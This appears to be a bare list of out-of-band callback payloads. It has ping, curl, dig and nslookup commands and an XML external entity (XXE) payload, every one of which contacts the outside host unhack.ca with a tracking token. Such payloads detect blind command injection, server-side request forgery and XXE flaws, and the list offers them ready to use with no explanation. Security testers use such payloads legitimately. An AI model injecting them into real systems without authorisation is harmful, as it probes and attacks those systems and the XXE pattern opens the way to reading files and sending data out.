$ ping -c1 -p 009e17c80a74418abb8faf4c9c3b6400 unhack.ca
$ curl http://unhack.ca/p/9e17c80a74418abb8faf4c9c3b64
$ dig 9e17c80a74418abb8faf4c9c3b64 @unhack.ca
$ dig 9e17c80a74418abb8faf4c9c3b64.ns.unhack.ca
C:\> nslookup 9e17c80a74418abb8faf4c9c3b64 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9e17c80a74418abb8faf4c9c3b64">]> <foo>&xxe;</foo>